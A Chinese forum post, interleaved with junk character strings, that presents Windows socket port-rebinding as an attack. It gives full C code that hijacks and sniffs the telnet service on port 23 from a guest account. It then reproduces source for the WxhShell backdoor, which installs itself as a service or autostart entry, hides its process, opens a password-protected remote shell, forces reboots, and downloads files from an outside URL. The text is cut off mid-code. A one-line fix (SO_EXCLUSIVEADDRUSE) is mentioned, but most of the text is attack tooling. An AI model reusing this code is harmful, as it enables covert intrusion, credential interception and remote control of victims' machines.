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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0w^awT<$6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h8SK8sK<  
l&Fx< W  
  saddr.sin_family = AF_INET; ~i@Z4t j7  
(P:.@P~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Jxb+NPUB  
'UCF2 L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )vur$RX  
bU(fH^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WAw} ?&k  
{u7_<G7  
  这意味着什么?意味着可以进行如下的攻击: [\i1I`7pE  
9%Ftln6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 bDcWPwe  
bO{wQ1)Z_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) o@\q6xl.  
! +Hc(i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !Ys.KDL  
9%uJ:c?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u-Ip*1/wp  
DCtrTX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8J7<7Sx  
d 'wWj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 T xwZ3E  
| \JB/x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qxwD4L`S  
Jqi^Z*PuX  
  #include ?< $DQ%bf  
  #include *j= whdw%J  
  #include [[:wSAO>6'  
  #include    ;-sF%c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Hb *&&  
  int main() 93N:?B9  
  { sz b],)|18  
  WORD wVersionRequested; ~4tu*\P  
  DWORD ret; j.rJfbE|X  
  WSADATA wsaData; RIl+QA  
  BOOL val; A0Hsd  
  SOCKADDR_IN saddr; E^jb#9\R  
  SOCKADDR_IN scaddr; ,NaNih1  
  int err; aTY\mKk  
  SOCKET s; M>g\Y  
  SOCKET sc; *e05{C:kS  
  int caddsize; "(d7:!%  
  HANDLE mt; Go_~8w0<  
  DWORD tid;   )Wm:Ilq  
  wVersionRequested = MAKEWORD( 2, 2 ); DbkKmv&  
  err = WSAStartup( wVersionRequested, &wsaData ); pEE.%U  
  if ( err != 0 ) { 2V#(1Hc!  
  printf("error!WSAStartup failed!\n"); '`Z5 .<n7p  
  return -1; {o[ *S%Z"  
  } Cc,,e`  
  saddr.sin_family = AF_INET; rt\4We,7  
   B[O1^jdO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 #}!Ge  
c`&<"Us  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !_gHIJiq}  
  saddr.sin_port = htons(23); ZjXpMx,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s k_Q\0a  
  { EWg\\90  
  printf("error!socket failed!\n"); Bq]eNq  
  return -1; x, ^j=n  
  } LY^pmak  
  val = TRUE; Xj<B!Wn*Xb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5)GO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v5GV"qY  
  { 9IC|2w66  
  printf("error!setsockopt failed!\n"); v9OK <  
  return -1; 5}4r'P$m:  
  } F|XRh6j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /_P5U E(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dw!cDfT+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _0<EbJ8Z  
/K9Tn  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y  ZsC>  
  { 5[Yzi> o[  
  ret=GetLastError(); 64>o3Hb2  
  printf("error!bind failed!\n"); /-l7GswF  
  return -1; ]?`t spm<t  
  } =q( ;g]e  
  listen(s,2); $>;U^-#3  
  while(1) gG^K\+S  
  { 8I'c83w  
  caddsize = sizeof(scaddr); vo[Zuv?<h  
  //接受连接请求 ^MGgFS]G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qqSf17sW  
  if(sc!=INVALID_SOCKET) gI qYIt  
  { afcI5w;>}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iy{*w&p  
  if(mt==NULL) c?{&=,u2  
  { {`vF4@  
  printf("Thread Creat Failed!\n"); 7N / v  
  break; Nj_h+=UE!  
  }  T^ ^o  
  } ~g+?]Lk}  
  CloseHandle(mt); %klC& _g~_  
  } &JM|u ww?1  
  closesocket(s); LuB-9[^<  
  WSACleanup(); /,z4tf  
  return 0; R*D0A@  
  }   &oTUj'$  
  DWORD WINAPI ClientThread(LPVOID lpParam) geL)v7t+#  
  { u+GtH;<;  
  SOCKET ss = (SOCKET)lpParam; ;5A  
  SOCKET sc; Yqy7__vm  
  unsigned char buf[4096]; 2 Ke?*  
  SOCKADDR_IN saddr; H\7Qf8s|{  
  long num; %B$~yx3#  
  DWORD val; (8u.Xbdh  
  DWORD ret; 3eqnc),Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )Ab!R:4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vcnUb$%  
  saddr.sin_family = AF_INET; k1HukGa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pzP~,cdf  
  saddr.sin_port = htons(23); mVN^X/L(y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i :wTPR  
  { NZSP*#!B  
  printf("error!socket failed!\n"); t8,s]I&  
  return -1; ~*9 vn Z@  
  } ,mR$Y T8  
  val = 100; o })k@-oL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %:2<'s2Si  
  { 0 V:z(r  
  ret = GetLastError(); 'PF?D~  
  return -1; TpLlbsd  
  } -9)<[>:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E=.4(J7K  
  { w%&lCu@v  
  ret = GetLastError(); _Kg:jal  
  return -1; j()<.h;'  
  } +(*S@V$c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;#G)([  
  { -(4)lw>U  
  printf("error!socket connect failed!\n"); 445}Yw5;9  
  closesocket(sc); =#||&1U$  
  closesocket(ss); q$Z.5EN  
  return -1; 2XubM+6  
  } 4i>sOP3 B  
  while(1) K'EGm #I  
  { 3zU!5t g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BD+V{x}P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,rT62w*e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i>w'$ {  
  num = recv(ss,buf,4096,0); T> cvV  
  if(num>0) =^m,|j|d>4  
  send(sc,buf,num,0); &o>ctf.x  
  else if(num==0) dHV3d'.P  
  break; M[N$N`9  
  num = recv(sc,buf,4096,0); :<l(l\MC  
  if(num>0) ]p/f@j?LU  
  send(ss,buf,num,0); (5y+g?9d;  
  else if(num==0) |[/[*hDZ9  
  break; Z&gM7Zo8  
  } I^*&u,  
  closesocket(ss); '`$z!rA  
  closesocket(sc); c=iv\hn  
  return 0 ; D3s]49j)  
  } hce *G@b  
~wmc5L/!?  
x}t,v.:  
========================================================== ^W|B Xxo  
RHc63b\  
下边附上一个代码,,WXhSHELL w,fA-*bZ 0  
[;3` Aw  
========================================================== jdsNZV  
AV\6K;~  
#include "stdafx.h" Ww&~ZZZ {  
8.4 1EKr2  
#include <stdio.h> !P X`sIkT  
#include <string.h> bM[!E8dF  
#include <windows.h> Ergh]"AD6-  
#include <winsock2.h> `wRQ-<Y  
#include <winsvc.h> BFP (2j  
#include <urlmon.h> f$vWi&(  
9~8 A>  
#pragma comment (lib, "Ws2_32.lib") f>\guuG  
#pragma comment (lib, "urlmon.lib") 5 Z+2  
$Fx:w  
#define MAX_USER   100 // 最大客户端连接数 :r%H sur(  
#define BUF_SOCK   200 // sock buffer ^s z4-+>  
#define KEY_BUFF   255 // 输入 buffer B]Vnu7  
LWQ.!;HYp  
#define REBOOT     0   // 重启 dHp(U :)  
#define SHUTDOWN   1   // 关机 o";5@NH  
UruD&=AMK  
#define DEF_PORT   5000 // 监听端口 /XtpGk_1)  
%a- *Ku  
#define REG_LEN     16   // 注册表键长度 f;1DhAS  
#define SVC_LEN     80   // NT服务名长度 =SJwCT0;  
QJ2V&t"3  
// 从dll定义API d4OWnPHv&}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ck-ab0n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Sb 86Ee  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +X)n}jh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d1YE$   
HAa2q=  
// wxhshell配置信息 bvY'=   
struct WSCFG { !QK ~l  
  int ws_port;         // 监听端口 X=O}k&  
  char ws_passstr[REG_LEN]; // 口令 /5 rWcX  
  int ws_autoins;       // 安装标记, 1=yes 0=no tmM8YN|  
  char ws_regname[REG_LEN]; // 注册表键名 6E~T$^Q}  
  char ws_svcname[REG_LEN]; // 服务名 zrD];DP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &?\'Z~B4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 > <cK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1<Fh aK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hs'J'~a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rO8Q||@>A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NHKIZx8sR  
kkfwICBI  
}; ?' F>DN  
"Uy==~  
// default Wxhshell configuration sU>!sxW  
struct WSCFG wscfg={DEF_PORT, )Ih '0>=  
    "xuhuanlingzhe", LwDm(gG  
    1, "YLH]9"=  
    "Wxhshell", ub^v ,S8O  
    "Wxhshell", (ATvH_Z  
            "WxhShell Service", #P:o  
    "Wrsky Windows CmdShell Service", iwb]mJUA  
    "Please Input Your Password: ", @.T w*t  
  1, b"x[+&%i  
  "http://www.wrsky.com/wxhshell.exe", q^nSYp#  
  "Wxhshell.exe" ~I^}'^Dbb  
    }; 1eG@?~G  
4 qdLH^dX  
// 消息定义模块 {4u8~whLp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d0(GE4+/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BPAz.K Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  q0Rd^c  
char *msg_ws_ext="\n\rExit."; OE,uw2uaT  
char *msg_ws_end="\n\rQuit."; !_{2\ &  
char *msg_ws_boot="\n\rReboot..."; 4}nsW}jCc  
char *msg_ws_poff="\n\rShutdown..."; jn+NX)9  
char *msg_ws_down="\n\rSave to "; /0|niiI  
E8]PV,#xY  
char *msg_ws_err="\n\rErr!"; 2q2;Uo`"S.  
char *msg_ws_ok="\n\rOK!"; x!rHkuH~  
{ bjK(|  
char ExeFile[MAX_PATH]; C:C9swik"5  
int nUser = 0; @)0-oa,u+  
HANDLE handles[MAX_USER]; 6*@\Qsp615  
int OsIsNt; "52nT  
mG,%f"b0  
SERVICE_STATUS       serviceStatus; &=SP"@D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w3j51v` 0'  
SZ+<0Y |  
// 函数声明 8 jom)a  
int Install(void); j!c[$;  
int Uninstall(void); {4\hxyw  
int DownloadFile(char *sURL, SOCKET wsh); Z  Mp  
int Boot(int flag); ![H!Y W'  
void HideProc(void); {,r7dxI)`  
int GetOsVer(void); JM8 s]&  
int Wxhshell(SOCKET wsl); ^Pc>/lY$Q%  
void TalkWithClient(void *cs); G$\2@RT9[  
int CmdShell(SOCKET sock); BV=L.*  
int StartFromService(void); LM_/:  
int StartWxhshell(LPSTR lpCmdLine); Pw4j?pv2  
p_hljgOV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t(SSrM]  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  .*H0{  
^/+0L[R  
// 数据结构和表定义 r30t`o12i  
SERVICE_TABLE_ENTRY DispatchTable[] = r.e,!Bs  
{ U].u) g$  
{wscfg.ws_svcname, NTServiceMain}, phIEz3Fu/  
{NULL, NULL} m.~&n!1W*`  
}; x~."P*5  
B7Um G)C  
// 自我安装 hv xvwV1  
int Install(void) z~d\d!u1  
{ )r O`K  
  char svExeFile[MAX_PATH]; F\. n42Tz  
  HKEY key; nU"V@_?\  
  strcpy(svExeFile,ExeFile); ailje  
dvUBuY^[  
// 如果是win9x系统,修改注册表设为自启动 K`PmWxNPh  
if(!OsIsNt) { 1\d$2N"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \FOX#|i)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W'{q  
  RegCloseKey(key); l'~]8Wo1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #80*3vi~F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zT}Qrf~  
  RegCloseKey(key); :=#*[H  
  return 0; qlUYu"`i  
    } 5 Vm |/  
  } ?i4}[q  
} 06bl$%  
else { "A jtNL5  
;S+c<MSl  
// 如果是NT以上系统,安装为系统服务 \~xOdqF/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kmM4KP#&|  
if (schSCManager!=0) 4%WV)lt  
{ G+ =6]0HT  
  SC_HANDLE schService = CreateService ;K?fAspSH  
  ( U5mec167  
  schSCManager, 0|X!Uw-Q%_  
  wscfg.ws_svcname, 2tvMa%1^  
  wscfg.ws_svcdisp, ?MhRdY  
  SERVICE_ALL_ACCESS, uh`@qmu)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;_0)f  
  SERVICE_AUTO_START, 7p}G!]`  
  SERVICE_ERROR_NORMAL, qQR> z  
  svExeFile, tkdhT8_  
  NULL, qR<  
  NULL, }+`W[h&u  
  NULL, d"78w-S  
  NULL, [~)i<V|qJ  
  NULL =$5[uI2  
  ); zY8"\ZB  
  if (schService!=0) ~MY7Ic%  
  { -"5x? \.{m  
  CloseServiceHandle(schService); o}5:vi]  
  CloseServiceHandle(schSCManager); Yfy6o6*:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $4kc i@.  
  strcat(svExeFile,wscfg.ws_svcname); XKp%7;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yz-IZt(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k>{i_`*  
  RegCloseKey(key); uVqJl{e\  
  return 0; q{f%U.  
    } bIizh8d?  
  } > 3 JU  
  CloseServiceHandle(schSCManager); @u/<^j3Q  
} 1G|Q~%cv  
} XzQ=8r>l  
c>K/f7  
return 1; Xj$J}A@  
} K_nN|'R-  
> c7/E  
// 自我卸载 CTtF=\  
int Uninstall(void) G;Y,C<)0k  
{ SPsq][5eR  
  HKEY key; sXTt )J  
HH6b{f@^  
if(!OsIsNt) { }M/w 0U0o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w0~iGr}P  
  RegDeleteValue(key,wscfg.ws_regname); k`js~/Xv  
  RegCloseKey(key); :LVM'c62c>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1 7{]QuqNF  
  RegDeleteValue(key,wscfg.ws_regname); sVkR7 ^KsG  
  RegCloseKey(key); XrC{{K  
  return 0; {R8Q`2R  
  } [RD ^@~x  
} !gy'_Y  
} Hi|2z5=V  
else { <-Q0WP_^  
!U>"H8}dv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UF<|1;'  
if (schSCManager!=0) *ILS/`mdav  
{ ~1Tz[\H#R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T-&CAD3 ,O  
  if (schService!=0) fokT)nf~^8  
  { |k&.1NkZ  
  if(DeleteService(schService)!=0) { -7ct+3"J  
  CloseServiceHandle(schService); 6Epns s  
  CloseServiceHandle(schSCManager); j`BF k>  
  return 0; Hh;w\)/%j  
  } z9HQFRbo[  
  CloseServiceHandle(schService); 5F2+o#*h  
  } 46_<v=YSJ  
  CloseServiceHandle(schSCManager); uc Z(D|a   
} EFql g9bK  
} )[oU|!@  
NH 'RU`U)  
return 1; }C*o;'o5G  
} K- }k-S  
`r*6P^P  
// 从指定url下载文件 ? |8&!F  
int DownloadFile(char *sURL, SOCKET wsh) !+ uMH!  
{ #]lUJ &M}e  
  HRESULT hr; 6j"(/X|Ex5  
char seps[]= "/"; +8^9:w0}  
char *token; [=U7V;5($  
char *file; {'DP/]nK  
char myURL[MAX_PATH]; +"3eh1q[  
char myFILE[MAX_PATH]; XOqpys  
CHeG{l)<r  
strcpy(myURL,sURL); }0 <x4|=  
  token=strtok(myURL,seps); sTG+c E  
  while(token!=NULL) *|t]6!aVLS  
  { Qmn5umd=?\  
    file=token; WP]<\_r2  
  token=strtok(NULL,seps); HAO/r`7*  
  } 3]N}k|lb%  
@1]<LQ\\  
GetCurrentDirectory(MAX_PATH,myFILE); c6c^9*,V  
strcat(myFILE, "\\"); ''5%5(Y.r  
strcat(myFILE, file); j%p~.kW5  
  send(wsh,myFILE,strlen(myFILE),0); ]`. d%Vx  
send(wsh,"...",3,0); Z}NAH`V`:+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'R,d?ikY  
  if(hr==S_OK) ZC2C`S\xr  
return 0; 6km u'vw  
else fykN\b  
return 1; x *qef_Hu  
xh-[]Jz(  
} H <1?<1^  
raqLXO!j  
// 系统电源模块 vhL&az  
int Boot(int flag) h.?[1hT4R  
{ "L8V!M_e  
  HANDLE hToken; awkVjyqX  
  TOKEN_PRIVILEGES tkp; izC>-  
LpmspIPvf  
  if(OsIsNt) { 9d{W/t?NH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =k$d8g ez  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7_K(x mK  
    tkp.PrivilegeCount = 1; tjd"05"@:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vj^U F(X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZH0f32K  
if(flag==REBOOT) { N!h>fE`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N"T8 Pt  
  return 0; %<M<'jxSca  
} u^]yz&9V  
else { p +T&9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D~?kvyJ  
  return 0; %I.{umU  
} -:~`g*3#  
  } i;xg[e8.  
  else {  Nl_;l  
if(flag==REBOOT) { j}VOr >xz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <khx%<)P  
  return 0; vlPE8U=  
} J,D{dYLDD  
else { &U=f,9H  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |E~X]_Y  
  return 0; .|aSGv E  
} aDOH3Ri0K!  
} 1|nB\xgu  
E{fnh50^Q.  
return 1; )I>rC%2P  
} mCE})S  
}w-`J5Eq#  
// win9x进程隐藏模块 >bZ#  
void HideProc(void) qXhrK /  
{ OK)0no=OAK  
CYn}wkz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c|.:J]  
  if ( hKernel != NULL ) PaDT)RrEM  
  { 0iL8i#y*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E1C8yIF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v'>Yc#VJ  
    FreeLibrary(hKernel); ho20> vw#  
  } = ]@xXVf/  
)/ZSb1!  
return; ZF t^q /pw  
} ..T (9]h  
}O>Zu[8a  
// 获取操作系统版本 ;VuB8cnL`  
int GetOsVer(void) os.x|R]_  
{ C C09:L?  
  OSVERSIONINFO winfo; eLTNnz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zh.c_>jS  
  GetVersionEx(&winfo);  vXvV5Oq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d5=xOEv; :  
  return 1; 6wd]X-G++  
  else Q|1bF!#(1  
  return 0; &7W6IM   
} EsWszpRqb  
g.]'0)DMW  
// 客户端句柄模块 ]Bsq?e^  
int Wxhshell(SOCKET wsl) .UYpPuAkn  
{ w7D:0SGD  
  SOCKET wsh; -Fdi,\e  
  struct sockaddr_in client; 3?XLHMxW  
  DWORD myID; e||_j  
%OtW\T=u  
  while(nUser<MAX_USER) =z/F=1^<  
{ D1n2Z :9  
  int nSize=sizeof(client); OKqpc;y:D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ks5'Z8X  
  if(wsh==INVALID_SOCKET) return 1; O9_YVE/-]  
5oKc=iX_3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xY S%dLE"  
if(handles[nUser]==0) YXtGuO\q  
  closesocket(wsh); d<Os TA  
else !LJ.L?9qw  
  nUser++; :=Q|gRTL*  
  } +)@>60y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oB\Xl)A<  
) G{v>Z ,  
  return 0; 3XnXQ/({  
} $"8k|^Z3  
w!}1oy  
// 关闭 socket [:QMnJ  
void CloseIt(SOCKET wsh) (*RybKoaA  
{ l(5-Cr  
closesocket(wsh); t0>{0 5  
nUser--; LasH[:QQQ  
ExitThread(0); KVR}Tp/R  
} )^\='(s  
y]l"u=$Tr{  
// 客户端请求句柄 <J)A_Kx[57  
void TalkWithClient(void *cs) 2mUu3fZ  
{ _}&]`,s>  
hNle;&*F  
  SOCKET wsh=(SOCKET)cs; JB+pFBeY  
  char pwd[SVC_LEN]; 9NP l]iA)  
  char cmd[KEY_BUFF]; Tv$7aVi!  
char chr[1]; !Ia"pNDf  
int i,j; qX(%Wn;n  
kYB <FwwB  
  while (nUser < MAX_USER) { NXBOo  
0 MIMs#  
if(wscfg.ws_passstr) { v-3zav  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hl;p>>n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BFO Fes`>~  
  //ZeroMemory(pwd,KEY_BUFF); Oez}C,0  
      i=0; .m?~TOR  
  while(i<SVC_LEN) { tA-B3 ]  
#Qr4Ke$g[l  
  // 设置超时 JP4Moq~r   
  fd_set FdRead; XijLS7Aw|  
  struct timeval TimeOut; f~FehN7  
  FD_ZERO(&FdRead); U!/nD~A  
  FD_SET(wsh,&FdRead); b8.%?_?  
  TimeOut.tv_sec=8; YfwJBz D  
  TimeOut.tv_usec=0; 0s|LK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -;\+uV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); rk/ c  
EYxRw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5}xni  
  pwd=chr[0]; xacLlX+  
  if(chr[0]==0xd || chr[0]==0xa) { tb0E?&M  
  pwd=0; HF: T]n,  
  break; (AG  
  } r^t{Ii ~  
  i++; 1N!g`=}  
    } cN7z(I0[  
;q; C ^l  
  // 如果是非法用户,关闭 socket ig}e@]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1Wk EPj,  
} n[Iu!v\/*  
3Jm'q,TC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ms7 7{A3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EQJ_$6  
6b70w @P!  
while(1) { huJq#5?  
lK,=`xe  
  ZeroMemory(cmd,KEY_BUFF); %hbLT{w  
,/6:bc:W  
      // 自动支持客户端 telnet标准   7NB 9Vu|gD  
  j=0; AaYrVf 9!  
  while(j<KEY_BUFF) { YC&jKx.>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g0j4<\F2\  
  cmd[j]=chr[0]; loUwR z  
  if(chr[0]==0xa || chr[0]==0xd) { ` G=L07  
  cmd[j]=0; d?M!acB  
  break; Tn0l|GRuZA  
  } n& m?BuG  
  j++; (}X?v`Y^W  
    } ; Uqx&5P}  
P5}[*k%DQw  
  // 下载文件 < }wAP_y  
  if(strstr(cmd,"http://")) { n [Xzo}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \678Nx  
  if(DownloadFile(cmd,wsh)) e( o/we{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R96o8#7Uv  
  else IR dz(~CP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z8(R.TB  
  } bsi q9$F  
  else { @'r`(o3z!Z  
Ui |a}`c  
    switch(cmd[0]) { Z ;y}gv/ {  
  As'M3 9*V  
  // 帮助 3{4/7D cX  
  case '?': { Sq|1f?_gU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =x0"6gTz>  
    break; !@Sf>DM"  
  } r\n h.}s  
  // 安装 VuMDV6^Z  
  case 'i': { sRyw\v-=P  
    if(Install()) 2v9s@k/k)6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K%c ATA3  
    else U=i8>6V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R;E"Qdt  
    break; g<iwxF  
    } 03QEXm~|Q  
  // 卸载 #1't"R+3M  
  case 'r': { ^?X ^+  
    if(Uninstall()) j t`p<gI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7#9'2dI  
    else 380->  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # 5f|1O  
    break; (Cl`+ V  
    } BY4  R@)  
  // 显示 wxhshell 所在路径 5'kTe=  
  case 'p': { &&9c&xgzE  
    char svExeFile[MAX_PATH]; A-7wkZ.H  
    strcpy(svExeFile,"\n\r"); *%N7QyO`I  
      strcat(svExeFile,ExeFile); o;VkoYV  
        send(wsh,svExeFile,strlen(svExeFile),0); *2Vp4  
    break; +/3 Z  
    } Kcw1uLb  
  // 重启 ;V"yMWjc  
  case 'b': { T]nR=uK6LL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f_4S>C$  
    if(Boot(REBOOT)) hdf8U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eY 4`k  
    else { YoF\ MT]W  
    closesocket(wsh); 1>@]@ST[:  
    ExitThread(0); 38U5^`  
    } 2u~c/JryN  
    break; Xrj(,|  
    } |.8d,!5w}  
  // 关机 kg?T$}O  
  case 'd': { 11B{gUv.]  
